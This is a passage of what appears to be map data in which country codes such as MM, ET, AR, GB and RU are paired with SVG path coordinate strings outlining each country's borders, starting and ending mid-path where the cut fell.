3.37,-0.31 4.9,3.68 8.23,3.11 0.61,2.16 -0.29,4.89 -0.85,6.38 -2.57,1.29 1.27,2.5 -0.69,3.99 0.86,2.3 0.22,4.85 3.38,4.77 -0.06,2.59 -4.49,3.82 -0.92,6.16 1.33,2 4.63,2.02 3.94,5.11 3.5,1.76 -3.36,1.63 -3.11,3.85 -0.01,3.99 -3.48,0.77 -5.33,1.49 -2.6,-0.63 -5.52,-0.09 -7.42,-1.84 0.25,-4.75 -4.26,-2.89 -6.48,-1.43 -3.79,0.01 -5.73,-3.2 -9.13,-3.81 -1.53,-1.87 -1.89,-3.1 -2.65,-4.49 -1.02,-2.53 -2.21,-1.34 -3.9,-2.11 -1.26,-0.45 0.73,-1 -0.75,-0.49 -0.64,3.09 -2.51,-1.04 -3.15,-1.73 0.77,-2.94 -2.24,-4.73 -4.63,-5.73 -0.52,-1.35 -2.98,-3.72 -1.24,-4.84 1.63,-0.71 0.92,-2.55 1.48,-2.98 -2.84,0.39 -3.19,-2.43 -4.25,-4.34 -1.58,-1.89 -0.35,-3.31 -1.81,-5.64 z m 32.76,35.03 c -3.1,1.47 -0.07,0.94 1.27,-0.07 -0.42,-0.38 -0.83,0.25 -1.27,0.07 z",MM:"m 727.56,176.02 c 0.68,-1.15 1.81,0.25 1.16,-2.16 1.11,-0.04 2.07,-0.87 1.49,-3.05 1.46,-0.74 -0.37,-4.26 2.76,-2.25 1.11,-2.81 2.28,-4.89 2.84,-7.7 1.65,-1.14 4.22,-2.64 5.53,-1.71 -1.55,-1.04 1.2,-3.42 1.57,-3.51 1.76,1 1.47,2.48 2.85,3.12 0.44,2.99 -0.31,4.89 -2.55,5.84 -0.63,1.41 -1.49,5.21 1.31,3.17 2.75,-1.17 0.15,3.21 3.26,3.06 -0.29,1.23 -1.55,3.36 1.37,2.79 -0.36,2.73 2.63,0.88 3.27,1.29 -1.48,1.93 -2.69,3.05 -4.53,3.93 -1.35,0.72 -2.76,1.49 -4.36,1.72 -0.34,1.57 -0.81,3.14 -1.38,3.4 1.11,1.68 3.34,5.13 4.09,5.85 -1.37,2.06 -3.07,4.4 0.17,6.29 0.35,2.99 3.27,6.53 0.02,9.02 -0.88,1.05 -1.51,3.79 -1.45,0.58 1.47,-2.49 0.58,-2.87 0.55,-4.18 0.45,-0.21 -0.96,-5.69 -1.22,-4.71 -0.39,1.23 -0.56,-3.14 -1.2,-3.34 -0.63,-2.51 0.31,-4.23 -1.54,-5.18 -0.73,-2.35 -0.82,-1.04 -1.53,0.65 -1.53,0.73 -1.12,-1.58 -1.29,0.67 -1.3,0.4 -2.69,2.31 -2.68,1.26 0.14,0.34 -0.59,0.2 -0.29,-0.59 -1.4,2.94 0.08,-2.26 -1.25,0.8 0.28,-1.45 -0.56,0.59 0.12,-1.92 -1.99,3.38 -1.02,-1.22 -0.38,-2.76 -0.76,-2.36 -1.51,-6.26 -2.23,-4.05 -2.15,-1.88 1.58,-0.27 0.06,-2.15 -0.67,-0.85 -2.15,-1.08 -1.94,-0.82 -0.43,0.34 0.3,-2.48 -0.88,-0.57 0.26,-1.72 -0.85,0.45 -1.44,-2.03 z",ET:"m 563.4,213.45 c 0.41,-2.63 4.67,-0.69 3.05,-4.4 0.31,-2.14 0.94,-4.2 2.39,-4.16 -0.44,-3.5 3.54,-4.53 3.9,-7.41 -0.38,-2.92 3.11,-2.05 3.6,-2.06 0.25,-3.07 2.69,0.6 4.13,-0.79 3.42,-0.22 6.63,2.85 8.8,5.71 -1.22,1.87 -2.62,5.61 1.23,4.23 -0.31,2.08 2.43,6.23 5.78,6.5 2.36,1.18 7.39,2.1 8.26,2.46 -2.82,2.52 -5.32,5.37 -7.89,8.12 -3.82,-0.82 -6.13,2.51 -9.57,2.78 -1.89,-0.93 -4.24,-0.87 -5.48,1.61 -3.65,0.27 -5.98,-3.07 -9.52,-2.92 -1.46,-0.87 -0.49,-3.09 -2.49,-2.94 -1.11,-2.91 -3.05,-5.97 -6.2,-6.73 z",GT:"m 216.08,194.7 c 0.19,-3 1.54,-5.27 4.97,-4.34 0.45,-2.13 -4.34,-2.79 -1.53,-3.79 -0.1,-2.22 3.45,-0.63 5,-1.07 -0.3,2.68 -0.01,6.85 2.21,5.6 0.96,0.96 -2.99,1.76 -2.22,3.57 -1.96,2.49 -4.96,2.64 -7.74,0.59 l -0.35,-0.28 z",SR:"m 311.83,225.6 c -1.86,-2.17 -0.51,-4.3 1.36,-4.72 -1.09,-3.3 3.77,-1.06 3.81,-1.81 1.55,-0.63 2.77,0.68 2.53,-0.34 5.17,-0.24 -0.95,4.68 2.55,6.9 -0.55,1.82 -0.99,4.41 -3.31,2.84 -1.51,0.27 -2.85,0.17 -2.08,1.85 -3.33,0.41 -2.96,-3.89 -4.86,-4.72 z",EH:"m 424.61,177.22 c -0.57,-3.33 2.36,-5.36 3.44,-8.22 -0.84,-0.49 3.7,-3.2 3.23,-5.89 1.56,-1.8 3.26,-3.74 4.73,-5.39 3.91,0.25 7.93,-0.07 11.78,0.22 0.81,3.33 0.01,5.55 -3.6,4.57 -1.85,0.06 -3.74,-0.12 -5.56,0.07 -0.71,2.52 1.86,7.31 -1.96,7.8 -2.24,1.66 0.93,6.76 -3.79,5.24 -2.65,0.12 -5.38,-0.24 -7.97,0.18 -0.34,0.39 -0.36,0.95 -0.29,1.43 z",CZ:"m 505.43,94.08 c 1.9,0.8 5.69,-2.65 7.09,-1.6 1.57,-0.48 3.15,0.71 4.83,0.81 -1.65,0.84 2.5,2.19 1.44,0.45 1.85,0.84 4.05,0.97 5.27,2.63 -2.52,1.33 -4.66,2.74 -7.41,2.08 -3.07,-1.86 -4.49,2.17 -7.59,-0.68 -2.06,-0.99 -2.46,-2.18 -3.63,-3.69 z",TD:"m 509.24,195.08 c 1.48,-2.82 4.26,-5.02 5.68,-7.87 -0.28,-3.18 1.06,-6.8 0.67,-9.54 -1.33,-2.22 -3.92,-7.42 0.52,-7.93 3.16,1.08 6.13,3.02 9.28,4.31 4.31,2.16 8.65,4.26 12.85,6.62 0.46,2.85 0.05,5.99 0.22,8.96 0.87,3.04 -3.56,0.7 -3.31,3.81 -1.45,2.08 -1.68,4.21 -2.39,6.6 2.59,-0.38 0.77,2.95 2.83,3.93 -0.68,1.21 -3.59,1.09 -4.14,3.15 -1.42,2.85 -4.89,3.04 -7.1,3.71 1.33,2.52 -5.01,2.76 -6.23,3.16 -0.82,-0.61 -3.7,1.92 -3.59,-1.07 -0.59,-1.8 -6.5,-5.42 -1.71,-5.29 2.76,0.24 2.38,-0.04 0.94,-2.07 -0.03,-2.51 0.04,-5.91 -2.67,-6.71 -1.21,-0.75 -1.72,-2.4 -1.86,-3.75 z",AL:"m 525.44,121.31 c 1.54,-1.75 -0.99,-4.9 1.34,-5.31 2.94,-0.14 1.39,3.01 2.7,4.49 1.52,0.75 -1.08,3.52 -2.05,3.53 -1.17,-2.05 -1.54,-1.21 -1.99,-2.71 z",FI:"m 529.12,41.38 c 2.56,-2.1 5.75,2.56 9.33,0.6 2.86,1.35 4.92,-0.31 6.08,-2.55 2.54,-1.03 6.96,-1.07 8.41,0.84 -1.36,0.95 -0.21,1.5 -2.17,1.55 1.62,-0.03 -0.92,2.36 2.03,2.15 3.51,0.77 1.39,2.16 -0.08,3.59 1.4,1.31 3.55,3.09 1.83,3.8 -0.44,1.18 -0.66,1.88 1.11,2.32 -1.82,0.82 3.3,1.44 0.04,2.38 -1.35,0.88 6.42,1.82 2.5,3.91 -3.11,2.05 -6.4,3.94 -9.71,5.53 -2.85,-0.3 -4.48,0.39 -6.26,0.69 -2.51,0.7 -6.01,0.85 -6.38,1.06 1.01,-0.54 -0.75,-1.1 -0.29,-1.29 -1.71,-0.09 -5.49,-0.39 -3.9,-2.99 1.08,-0.93 -2.85,-4.07 0.38,-4.7 -0.66,-0.96 2.72,-0.7 2.07,-1.3 2.69,-0.72 4.69,-3.33 7.68,-3.76 1.73,-0.72 -1.1,-2.71 -3.01,-2.98 -2.52,-0.88 0.57,-2.67 -1.37,-3.73 0.8,-0.59 -1.01,-1.45 -0.05,-2.2 -2.56,-1.37 -5.52,-1.7 -8.24,-2.91 z m -2.08,25.16 c 0.52,-0.52 1.92,-0.26 -0.15,-0.81 1,1.23 -1.72,-0.5 0.15,0.81 z",SY:"m 570.71,142.04 c 1.24,-0.86 4.03,-3.39 1.3,-3.78 -0.74,-1.31 -1.53,-4.12 0.8,-3.94 0.49,-0.93 0.77,-0.66 0.69,-2.15 3,-0.13 6.21,0.39 9.34,-0.18 1.85,-0.58 5.4,-1.41 6.57,-0.64 -1.6,1.39 -3.85,1.65 -2.88,4.25 0.05,4.11 -4.64,4.87 -7.54,6.57 -2.31,1.62 -7.03,3.78 -8.2,0.71 l 0.05,-0.54 z",KG:"m 664.63,122.89 c 2.3,-0.76 2.91,1.05 4.92,-0.68 2.16,0.88 2.87,-0.65 4.86,-1.21 -0.49,-0.36 -3.37,-1.38 -3.76,-1.96 -0.9,1.93 -6.12,-0.69 -2.2,-1.54 2.08,-0.21 -1,-1.68 1.71,-2.16 2.49,-1.24 5.94,2.82 6.18,-0.91 3.03,-0.69 5.82,1.61 9.09,0.29 3.21,0.13 6.71,0.36 9.06,2.49 -3.42,1.01 -6.11,3.32 -9.58,3.35 -1.69,3.44 -4.52,-0.76 -6.55,2.11 -2.02,0.38 -1.34,2.99 -4.23,2.23 -2.52,0.68 -3.84,-0.77 -6.29,-0.4 -0.74,-0.83 -5.5,1.09 -3.22,-1.61 z",SB:"m 920.68,265.88 c 4.3,0.98 -3.81,-3.21 -0.58,-0.43 z m -2.7,-4.52 c 2.63,3.35 0.38,-2.51 -0.68,-2.14 0.29,0.7 0.26,1.5 0.68,2.14 z m -2.42,1.9 c 3.89,0.96 1,-1.56 -0.98,-1.53 -0.68,0.61 0.43,1.39 0.98,1.53 z m -2.42,-4.8 c 3.82,2.44 0.25,-1.32 -1.78,-1.66 0.4,0.71 0.97,1.41 1.78,1.66 z m -3.66,1.29 c 1.31,-1.32 -2.71,-1.95 -1.05,-0.8 0.66,-0.18 0.38,0.8 1.05,0.8 z m -2.61,-4.1 c 5.19,3.39 -3.75,-4.46 0,0 z",OM:"m 616.21,182.18 c 4.03,-1.59 9.69,-1.6 9.78,-7.19 0.72,-2.21 -2.22,-3.76 -0.06,-6.07 -0.12,-1.28 2.14,-0.6 0.67,-2.41 1.15,-3.21 3.41,3.36 6.79,2.52 1.82,0.51 4.03,2.77 4.29,4.28 -1.6,1.93 -3.06,5.18 -5.09,4.88 -1.36,1.73 0.91,4.9 -2.5,4.41 -1.15,1.87 -2.49,2.84 -4.65,3.28 -0.26,2.97 -4.49,1.94 -6.41,2.5 -0.82,-2.08 -1.92,-3.93 -2.82,-6.21 z m 11.24,-19.87 c 1.9,-2.52 0.3,3.26 0,0 z",PA:"m 241.78,212.35 c 1.11,-1.13 -0.69,-4.84 1.73,-3.09 -0.08,1.32 1.78,1.39 1.57,0.83 3.02,2.42 6.44,-3.33 9.12,-0.92 2.98,0.48 4.49,4.97 2.09,5.28 -1.41,2.51 -2.85,-4.05 -0.02,-1.68 -1.8,-1.71 -1.46,-0.33 -3.65,-2.48 -1.61,-0.09 -3.23,1.89 -3.78,2.6 3.24,1.84 -2.42,3.88 -1.76,0.51 -0.87,1.82 -2.54,-1.89 -4.53,-1.17 -0.78,0.1 -0.34,1.43 -0.77,0.11 z",
AR:"m 281.51,383.73 c 2.4,1.32 -0.98,1.37 1.51,2.11 1.77,2.42 5.58,3.4 8.14,3.74 -2.66,1.38 -6.38,0.26 -9.44,0.18 -0.35,-1.88 -0.25,-4.06 -0.2,-6.04 z m -3.74,-65.8 c 1.13,-2.35 2.71,-5.43 4.55,-6.82 -0.44,-2.38 -1.63,-6.25 1.48,-7.3 3.3,-1.08 0.72,-5.21 4.14,-6.15 0.57,-1.26 2.94,0.69 4.48,0.41 1.12,2.15 1.13,1.78 2.01,-0.28 3.81,-1.96 5.04,2.92 7.84,4.31 3.17,1.67 7.5,2.66 9.95,5.27 -0.97,1.96 -5.1,5.98 -0.45,5.17 2.5,0.64 4.03,0.33 5.96,-0.2 1.34,-1.24 3.14,-2.44 2.81,-4.7 3.6,-1.07 3.05,5.99 -0.72,5.55 -2.56,1.8 -4.01,3.69 -6.41,6.17 -1.84,1.24 -2.25,3.28 -2.35,5.19 -0.73,2.27 -0.81,4.15 -1.4,6.21 -1.45,2.99 5.21,2.63 3.15,5.81 1.23,1.37 3.08,2.52 0.53,4.44 -1.81,3.61 -6.24,3.53 -9.77,4.18 -1.73,0.82 -6.12,-1.55 -3.98,1.19 0.09,0.85 -1.25,2.97 -0.48,3.95 -2.34,2.46 -6.17,-0.27 -7.67,0.15 -0.93,2.03 0.88,5.54 2.72,4.15 -1.82,-0.73 2.92,-0.79 1.15,1.34 -1.12,0.98 -3.33,-2.2 -3.28,0.26 3.11,0.18 -2.79,1.81 -1.17,4.26 -1.06,1.43 -1.16,1.79 -3.41,2.02 -3.12,0.46 -4.22,4.97 -0.11,5.5 2.5,-1.09 2.92,2.55 0.42,2.24 4.03,0.07 -3.58,2.29 -3.98,4.27 1.91,-0.03 -1.58,3.8 -2.46,0.96 1.37,0.97 -2.11,0.74 0.24,0.81 1.78,0.32 -4,2.73 -1.29,3.19 1.02,1.96 -3.25,1.19 0.2,1.42 1.71,1.25 2.07,2.82 -0.53,1.43 -2.48,-0.71 -5.1,-0.27 -7.6,-0.49 -2.44,-0.66 0.7,-5.17 -3.05,-3.47 -1.46,-1.34 -1.9,-4.01 0.28,-5.03 2.81,-0.82 0.2,-3.91 3,-4.94 -0.54,-1.08 1.09,-2.38 0.32,-3.13 -0.48,-1.25 2.67,-2.7 -0.09,-3.26 -2.17,-0.4 4.2,-0.77 0.96,-1.47 -1.77,-0.08 -0.35,-2.36 -1.11,-3.09 -0.73,-0.48 -1.48,-3.09 0.16,-3.65 -0.77,-2.43 -0.04,-5.42 0.85,-6.82 -0.11,-2.32 2.89,-2.81 0.79,-5.23 -1.04,-3.28 3.32,-4.38 2.05,-7.13 0.95,-1.8 2.76,-4.49 0.99,-5.93 0.39,-2.26 -2.32,-3.83 -0.66,-6.04 0.88,-1.84 1.61,-2.36 0.95,-4.74 z",GB:"m 468.18,66.85 c 0.73,0.5 0.74,-2.55 -0.62,-1.46 1.42,0.81 -1.37,0.46 0.75,1.28 z m -13.62,10.44 c 2.34,0.35 1.14,-1.51 -0.23,-0.73 0.93,0.37 0.65,0.52 0.23,0.73 z m 2.74,17.69 c 1.94,-1.8 4.37,-0.14 5.49,-1.81 2.97,0.29 4,-0.48 6.51,-0.56 1.81,0.42 5.84,0.27 6.27,-1.37 -2.46,-0.63 -2.69,0.17 -1.35,-1.05 -0.28,-0.25 1.95,-0.5 0.86,-0.91 4.04,-1.89 -1.41,-3.09 -3.21,-2.42 3.28,-1.88 -4.93,-2.87 -0.12,-2.21 0.67,-0.33 -1.42,-2.82 -3.46,-2.88 -0.53,-3.86 -4.23,-3.68 -7.05,-4 1.74,0.94 4.67,-1.34 1.43,-0.7 2.63,0.19 6.43,-5.05 1.4,-3.72 -2.31,-0.11 -5.91,0.89 -2.97,-0.38 -4.23,0.6 5.56,-2.36 0.85,-2.28 -2.58,0.5 -4.16,-0.23 -4.71,1.2 0.8,1.49 -2.11,0.36 -0.97,1.89 -2.22,0.06 1.76,0.51 -0.25,0.7 1.35,0.33 -0.33,0.5 -0.4,1.51 -2.78,-0.01 2.14,0.13 -0.35,0.25 1.87,0.7 3.13,-1.11 1.67,0.55 1.08,-0.88 -1.51,1.53 -0.73,1.44 0.63,0.34 -0.92,2.98 0.56,0.87 0.23,-1.39 1.08,-2.15 0.48,-0.62 0.95,0.66 0.6,-1.55 1.98,-0.18 -1.65,-0.35 0.4,2.76 -1.47,2.71 -0.18,1.03 2.74,0.56 4.25,-0.04 3.47,-0.7 -2.01,1.39 0.97,2.08 0.38,0.57 1.55,-0.34 0.51,1.4 -0.38,0.59 1.65,1.62 -0.37,1 0.46,0.91 -6.04,-0.4 -2.91,0.49 -2.13,1.49 -0.99,0.66 0.22,1.2 2.05,1.41 -5.17,2.73 -1.98,2.81 -1.74,0.99 2.93,-0.46 1.97,0.67 1.61,0.12 3.23,0.73 4.81,-0.64 -1.47,2.76 -5.23,0.39 -6.34,3.11 -0.58,0.81 -4.7,1.75 -1.57,1.9 z m -2.12,-19.78 c 1.63,-0.56 -1.14,-2.33 -2,-1.23 0.05,0.77 2.63,0.37 2,1.23 z m -1.93,-2.72 c 2.2,-0.45 0.89,-1.79 -0.58,-0.66 -1.07,0.55 0.17,0.89 -0.16,1.32 0.35,-0.04 0.65,-0.32 0.74,-0.66 z m -3.97,10.04 c 0.86,-0.99 5.51,-3.9 6.54,-0.8 0.26,-0.02 1.21,1 0.38,0.7 0.14,1.77 -3.34,0.88 -4.31,0.42 -0.25,1.29 -2.03,-0.1 -2.62,-0.32 z",CR:"m 233.81,206.48 c 0.33,-1.46 0.15,-3.05 2.63,-1.75 1.26,-0.41 3.08,0.93 3.6,0.56 0.32,2 4.06,3.34 1.96,3.95 0.36,1.38 0.15,5.52 -0.99,2.05 -0.87,-0.61 0.42,1.87 -1.24,0.14 0.64,-2.43 -3.28,-2.77 -4.36,-4.72 2.83,2.83 -1.34,1.74 -1.6,-0.24 z",PY:"m 298.18,298.18 c 1.02,-3.67 1.45,-8.62 6.57,-8.05 3.56,-1.4 6.47,1.43 6.83,4.47 -1.78,2.94 1.27,4.86 3.71,3.31 3.62,0.26 1.32,7.01 5.7,4.96 1.04,1.71 -1.13,4.37 -0.59,6.64 -0.96,2.02 -3.48,3.27 -5.13,3.5 -1.63,-0.54 -5.65,0.06 -5.82,-1.27 1.08,-2.1 4.76,-5.63 0.07,-6.27 -2.98,-1.78 -6.39,-2.41 -9,-4.65 -0.75,-0.97 -1.33,-1.92 -2.34,-2.65 z",GN:"m 430.29,204.77 c 0.33,-2.42 4.58,-1.46 3.32,-3.67 1.08,-2.79 4,1.15 6.35,-0.44 0.05,1.12 0.93,1.05 1.95,0.85 0.99,0.45 3.86,0.23 4.5,-1.01 0.56,1.49 3.03,3.02 1.43,4.31 1.61,-0.95 0.9,2.02 1.89,2.32 -0.98,1.79 0.93,2.72 0.52,3.91 1.83,1.69 -2.98,-0.02 -0.4,2.04 -0.69,1.73 -2.13,0.55 -3.22,2.32 -1.39,-0.69 -0.34,-5.01 -3.64,-3.51 -1.2,1.08 0.1,-2.46 -1.36,-3.31 -2.24,-3.04 -4.72,0.61 -6.61,1.65 0.51,-0.33 -1.42,-2.45 -1.34,-2.35 -0.73,-0.99 -3.15,-1.08 -2.02,-2.82 -1.2,1.34 0.12,-1.08 -1.37,-0.28 z",IE:"m 444.11,90.46 c -0.13,-0.4 1.83,-0.99 -0.44,-0.38 -1.79,-0.58 2.78,-1.53 -0.36,-1.09 -1.39,-0.37 2.35,-0.25 1.36,-0.92 1.45,-0.45 4.34,-1.04 1.19,-0.5 -3.64,0.91 3.84,-2.69 -0.27,-1.7 -2.94,-0.59 -0.76,-1.01 -0.54,-1.8 -1.56,-0.16 -0.99,-2.2 1.47,-0.74 1.83,-0.48 3.13,-1.09 1.36,-1.72 0.6,-0.78 2.86,-1.81 3.28,-0.91 -0.2,-1.24 2.32,-0.5 0.16,0.34 -1.91,0.64 -2.14,2.7 0.58,1.99 0.61,-0.54 3.44,0.81 2.42,1.05 1.41,1.91 0.22,5.57 -1.81,4.63 -1.85,0.81 -3.68,0.65 -4.27,1.59 -2.38,0.59 -3.98,0.52 -3,-0.14 l -0.42,0.04 z",NG:"m 479.33,213.43 c -0.74,-3.13 2.48,-4.29 2.68,-6.99 0.86,-1.84 -1.53,-5.34 1.23,-7.33 0.72,-3.9 6.68,-2.57 8.22,-0.04 3.1,-2.33 6.54,2.67 9.38,-0.98 3.15,-0.3 5.91,1.56 8.43,-1.04 2.01,1.12 1.79,3.72 3.2,4.78 0.16,2.42 -3.57,2.63 -3.59,5.45 -0.53,2.4 -2.48,3.65 -3.28,6.1 -0.85,1.35 -2.04,6.12 -3.53,2.87 -1.55,-1.18 -3.97,1.25 -5.54,3.03 0.46,1.96 -1.51,2.94 -1.66,2.96 -1.22,1.07 -3.43,0.25 -3.54,0.36 -0.26,-0.19 -0.24,1.57 -0.61,-0.46 0,2.25 -0.2,0.07 -0.89,1.32 -0.71,0.74 -3.87,-1.61 -2.56,-2.93 0.19,-0.74 -1.69,0.23 -0.33,-0.75 -1.03,0.52 -0.43,-1.14 -1.01,-0.35 0.07,-2.63 -6.4,-1.2 -3.46,-2.39 -1.78,0.87 -3.75,1.15 -2.82,-1.83 0.04,-0.6 0.02,-1.25 -0.32,-1.77 z",TN:"m 492.73,139.84 c 2.59,-1.31 2.36,-3.83 2.33,-6.21 -0.86,-2.13 4.15,-3.27 4.79,-2.72 0.36,2.04 1.6,0.55 2.76,0.85 -1.84,1.44 -2.03,2.98 -0.07,4.34 -0.98,2.24 -4.61,4.64 -0.5,5.19 0.95,-0.06 2.98,2.36 1.05,3.54 -3.75,0.6 -1.75,4.67 -4.77,5.76 -0.31,-3.76 -2.59,-6.57 -5.09,-8.89 -0.09,-0.65 -0.7,-1.13 -0.51,-1.85 z",PL:"m 511.14,86.91 c 1.18,-1.07 0.14,-2.61 1.23,-2.64 -2.71,-0.48 3.59,-0.81 4.68,-1.52 1.76,-1.47 7.6,-1.81 6.35,-0.5 1.16,1.25 3.78,-0.39 2.09,0.68 3.65,-0.2 8.06,-0.79 11.41,0.55 1.73,2.21 1.59,4.08 -0.5,5.24 2.09,0.18 -0.1,3.42 2.48,3.85 0.22,1.59 -5.48,2.45 -3.53,5.21 -2.76,-1.91 -6.66,-0.13 -8.87,-1.25 -2.82,0.03 -4.86,-2.26 -7.69,-2.79 0.45,1.84 -2.54,0.21 -1.59,-0.6 -1.56,-0.4 -4.91,-0.16 -3.77,-2 -1.91,-1.14 0.23,-3.58 -2.28,-4.23 z",NA:"m 504.49,284.16 c 2.67,-0.59 4.83,-0.78 7.32,0.45 3.68,-0.16 7.38,-0.03 11.06,-0.07 2.77,2.04 6.86,1.64 10.15,1.42 2.28,-0.53 8.45,-1.96 8.32,-0.28 -2.14,0.01 -3.73,3 -5.16,0.58 -2.85,0.57 -7.67,-0.11 -6.03,4.33 -0.21,2.99 1.49,7.83 -2.81,7.26 0.04,5.88 0.15,11.82 -0.09,17.68 -1.9,1.55 -5.65,2.34 -7.23,-0.2 -1.21,-2.07 -2.61,2.63 -4.13,-0.62 -2.03,-2.42 -2.71,-5.57 -2.83,-8.65 -2.09,-3.07 0.35,-7.14 -2.64,-9.75 -2.17,-2.8 -2.68,-6.66 -5.37,-9.07 -0.59,-0.91 -0.65,-2.04 -0.57,-3.09 z",ZA:"m 517.64,316.02 c 1.19,-1.75 2.24,-1.55 2.91,0.34 2.74,0.95 4.87,0.75 6.81,-0.97 0.05,-3.37 0.13,-6.75 0,-10.11 2.76,1 1.69,4.81 2.21,5.84 3.4,1.06 4.82,-2.6 6.62,-4.38 2.3,1.28 7.34,2.96 7.44,-1.4 3.59,-1.1 4.32,-5.96 8.43,-6.63 1.66,-1.27 5.99,-0.87 7.01,1.02 1.42,3.41 1.71,6.92 1.74,10.57 0.81,1.51 3.16,0.61 1.66,3.16 -0.2,3.58 -4.05,3.76 -5.13,7.09 -2.03,3.26 -5.17,5.67 -8.18,7.99 -3.36,2.5 -6,2.18 -9.22,3.16 -3.5,-1.28 -6.2,0.4 -9.48,0.63 -2.63,1.1 -5.23,1.31 -6.64,-0.86 -1.62,1.82 -0.59,-2.47 -1.89,-2.84 -1.44,-0.92 2.3,-1.41 0.56,-3.41 -2.1,-2.85 -3.25,-6.13 -4.83,-9.22 z",EG:"m 540.62,151.24 c 0.62,-2.12 -0.39,-5.44 2.84,-4.44 3.39,0.06 6.21,1.69 9.5,2.06 2.81,-1.31 3.87,-1.98 4.7,-1.77 0.47,-0.55 4.95,0.31 2.55,0.41 1.25,0.78 3.94,1.03 6.56,0.05 2.29,3.29 1.8,6.73 0.16,10.07 -2.92,-0.61 -3.58,-6.11 -5.17,-5.73 -0.08,2.73 3.43,4.48 3.31,6.42 1.6,2.88 2.84,6.25 4.98,9.06 2.21,1.08 -0.78,0.82 0.53,2.94 -1.41,1.63 -3.38,2.62 -5.01,4.17 -2.06,-1.14 -5.94,-0.88 -6.85,-0.91 -2.87,0.38 -5.9,0.08 -8.84,0.17 -2.85,-0.03 -5.72,0.05 -8.56,-0.01 -0.52,-6.86 0.27,-13.84 -0.17,-20.72 -0.11,-0.61 -0.23,-1.24 -0.51,-1.79 z",TZ:"m 553.31,249.69 c 0.05,-2.04 3.18,-2.61 3.48,-4.46 1.9,-1.22 -2.19,-2.05 0.62,-3.11 0.28,-1.93 -2.42,-4.35 1.3,-3.68 3.3,0.31 7.01,-0.92 9.83,1.32 3.58,1.98 7.47,3.62 9.08,6.89 2.99,1.01 3.44,3.34 1.84,5.82 1.21,1.91 2.3,3.4 1.63,5.05 -0.44,2.33 0.58,3.64 1,5.64 -0.1,1.36 3.86,1.55 0.32,3.04 -2.86,1.07 -5.18,1.74 -7.74,2.08 -1.96,0.13 -4.23,-0.06 -5.95,-0.53 -1.33,-1.85 -0.81,-6.41 -3.9,-5.14 -2.7,-1.2 -5.66,-1.91 -7.67,-3.9 -0.76,-3.22 -4.06,-4.84 -3.5,-8.25 z m 28.59,0 c -0.2,2.46 1.25,0.12 0,0 z",GE:"m 582.88,113.61 c 2.79,-0.74 6.67,0.6 9.61,1.38 1.83,1.51 4.27,-0.27 6.31,1.21 -0.92,1.66 3.09,0.79 1.37,2.38 3.41,2.97 -2.66,-0.44 -3.79,1.12 -2.66,0.97 -4.88,-0.74 -6.53,-0.77 -1.84,0.24 -3.15,0.32 -2.29,-1.68 -0.23,-2.66 -3.01,-2.48 -4.68,-3.63 z",SA:"m 590.61,189.47 c -0.88,-2.99 -3.92,-4.58 -4.89,-7.97 -1.27,-3.07 -6.19,-3.66 -5.52,-7.9 0.39,-2.99 -1.87,-5.27 -4.52,-6.93 -0.65,-2.58 -2.92,-5.29 -4.69,-7.94 -0.06,-2.16 -2.94,-1.82 -2.91,-2.56 0.23,-2.93 1.6,-3.33 4.3,-2.82 1.27,-1.95 4.6,-2.38 4.88,-3.78 -1.29,-1.21 -3.84,-3.03 -0.42,-3.02 3.89,-1.94 8.22,-0.99 11.6,1.61 3.52,1.8 6.13,5.86 10.43,5.55 2.65,-0.37 4.65,0.71 6.44,1.64 2.33,0.35 1.6,2.87 3.14,3.21 1.82,1.38 2.95,2.21 2.39,3.91 0.18,1.21 2.56,4.27 3.61,4.3 1.04,2.59 4.1,5.36 7.63,4.83 3.93,-0.7 5.02,2.87 3.03,5.92 -0.74,3.57 -5.79,2.83 -8.46,4.41 -3.59,1.37 -8.49,0.07 -11.59,3.09 -1.02,2.11 -2.19,3.42 -4.17,1.94 -2.95,-0.03 -6.49,-0.82 -8.92,0 0.04,0.99 -0.26,2.74 -1.34,2.51 z",VN:"m 755.17,172.63 c 0.91,-1.98 2.34,0.56 3.54,-0.94 1.04,0.45 2.54,0.26 4.02,-0.74 1.02,-2.2 3.13,0.9 5.07,0.38 -0.86,1.7 0.74,3.22 2.41,3.54 2.96,-0.51 -1.88,2.41 -2.21,1.77 0.48,1.03 -2.31,2.48 -2.75,4.57 -1.54,2.03 3.01,3.94 1.85,4.62 2.04,2.46 3.28,2.9 4.87,4.81 0.05,-0.85 1.95,1.9 1.82,2.41 1.55,3.64 0.92,3.94 1.59,7.16 -0.67,-0.85 -0.52,1.4 -0.52,1.15 0.64,1.16 -2.21,3.59 -4.5,4.49 -1.66,0.8 -2.66,-0.69 -2.43,0.39 -0.15,0.91 -1.37,0.04 0.09,0.95 -1.36,0.66 -1.47,-1.28 -0.44,0.82 -2.44,-1.62 -0.12,-0.77 -0.39,0.78 -1.94,-0.57 -1.84,-2.06 -0.82,0.3 -2.07,0.81 -4.16,4.06 -3.82,0.99 0.78,-2.37 0.92,-2.65 -1.03,-3.75 1.68,-0.88 2.76,-2.29 4.83,-1.03 -0.67,-1.4 -1.31,-3.13 0.78,-2.89 1.61,-0.85 4.31,-1.91 3.12,-4.9 -1.35,-2.37 1.11,-4.83 -1,-6.45 1.26,-1.25 -2.9,-1.71 -2.51,-3.92 -2.51,-1.44 -2.46,-4.26 -5.2,-4.92 -3.29,-1.8 0.52,-1.56 1.45,-2.95 -1.87,-0.74 -0.48,-2.8 -3.09,-2.24 -2.24,1.73 -2.61,-2.83 -2.89,-2.56 -0.49,0.58 -1.33,-1.6 -1.86,-1.83 z",RU:"m 971.63,34.32 c -1.5,-0.19 -5.91,2.38 -2.08,1.91 2.33,-1.01 8.44,0.86 8.55,-1.53 -2.14,-0.48 -4.28,-0.89 -6.47,-0.38 z M 699.9,23.18 c -3.3,0.24 -0.12,1.64 0,0 z m -33.68,5.84 c -1.81,2.27 7.41,0.46 3.17,0.09 0.98,-0.56 -2.87,-0.28 -3.17,-0.09 z m -31.55,9.7 c 0.94,-0.02 3.93,1.6 4.89,0.34 -2,-1.28 -6.78,-2.58 -4.89,-0.34 z M 645.6,7.94 c 2.1,0.81 6.73,0.71 7.81,-0.79 -2.55,-0.76 -5.11,0.83 -7.81,0.79 z m -9.12,0.95 c 2.18,0.64 7.53,0.74 7.73,-1.03 -3.66,0.05 -4.99,-0.33 -7.91,0.71 z M 623.91,28.36 c -4.56,1.43 2.66,0.38 3.65,0.95 1.19,0.47 4.53,-0.33 1.95,-1.01 2,0.9 2.82,-0.47 0.2,-0.48 -1.21,-0.19 5.53,0.74 1.33,-0.65 0.73,-0.06 5.38,0.3 2.36,-1.36 2.9,0.68 2.13,-0.65 4.55,-0.29 -1.54,-0.19 